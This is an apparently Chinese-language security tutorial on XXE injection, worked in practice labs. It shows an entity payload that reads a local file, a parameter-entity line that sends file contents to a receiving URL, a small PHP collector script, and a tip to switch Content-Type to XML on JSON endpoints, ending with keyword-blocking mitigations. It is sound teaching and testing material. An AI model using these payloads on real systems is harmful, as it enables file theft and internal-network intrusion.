XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML数据传输数据包分析
xml是文件传输的一种格式,就像字符串一样,xml对应的数据格式
我们使用xxe-labs靶场进行抓包可以获取xml格式的数据报文
在数据报中的头部信息中accept字段和Content-Type字段中具有xml字段,且数据内容中都有<></>的字样
在数据报中我们可以通过其特征来判断是xml传输数据
源码查看
服务器的数据解析形式决定了数据的传输格式
我们可以查看源代码可以看见,源代码中有处理xml数据的特定代码
有数据回显
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "file:///D:/5.txt" >
]>
直接执行xml读取文件内容
成功读取到了主机里面的文件
这种情况适用于有页面回显的情况,我们直接读取系统文件可以获取其中的内容
带外测试:确定目标可以向外发送数据--->目的:解决数据的无回显问题
请求DNSlog地址的数据报
查看DNSlog的数据回显
引用外部实体--dtd
目的:1.解决拦截防护问题
? ? ? ? ? ?2.解决数据不回显问题
我们先使用xml语句获取我们想要的文件信息,并且将其中的信息存入指定的变量
<!ENTITY %all "<!ENTITY sent SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
我们获取到信息后然后去请求我们构造好的get.php代码就会将文件信息写到我们的网站目录下
<?php
$data = $_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
最后查看get.php就可以获取到无法回显的内容
这是一个在线等靶场环境
题目给我们一个输入框,我们查看源代码可以看到,前端代码中有一个函数是调用了xml进行数据传输
为此,我们可以抓包修改其数据包进行xml注入
但是 我们捕获到的数据是json数据
为此我们可以修改content-type的类型,使网站接收xml数据,我们写入都去文件信息的语句发现文章回显了内容,证明xml语句执行成功
为此我们可以得出结论,在网站的数据接收接口,不管数据包中的数据类型是什么,我们都可以修改Content-Type为xml进行测试
抓获数据包,数据包中的数据类型Content-Type为xml的时候 ,可以尝试xml的payload测试
不管数据包中的数据类型是什么,我们都可以修改Content-Type为xml进行测试
功能分析-->前端提交-->抓包分析-->构造payload
通过功能定位追踪代码定位审计
通过脚本固定特定的函数搜索定位审计
通过伪协议绕过相关防护
PHP举例
SimpleXML是PHP5后提供的一套简单易用的xml工具集,可以把xml转换成方便处理的对象,也可以组织生成xml数据。不过它不适用于包含namespace的xml,而且要保证xml格式完整(well-formed)。它提供了三个方法:simplexml_import_dom、simplexml_load_file、simplexml_load_string,函数名很直观地说明了函数的作用。三个函数都返回SimpleXMLElement对象,数据的读取/添加都是通过SimpleXMLElement操作。
我们就可以去定位这些函数去判断里面的代码是否存在XXE注入漏洞
禁用关键字如: <!DOCTYPE<!ENTITY SYSTEM PUBLIC
禁用实体类引用
如有错误,请及时指出,感谢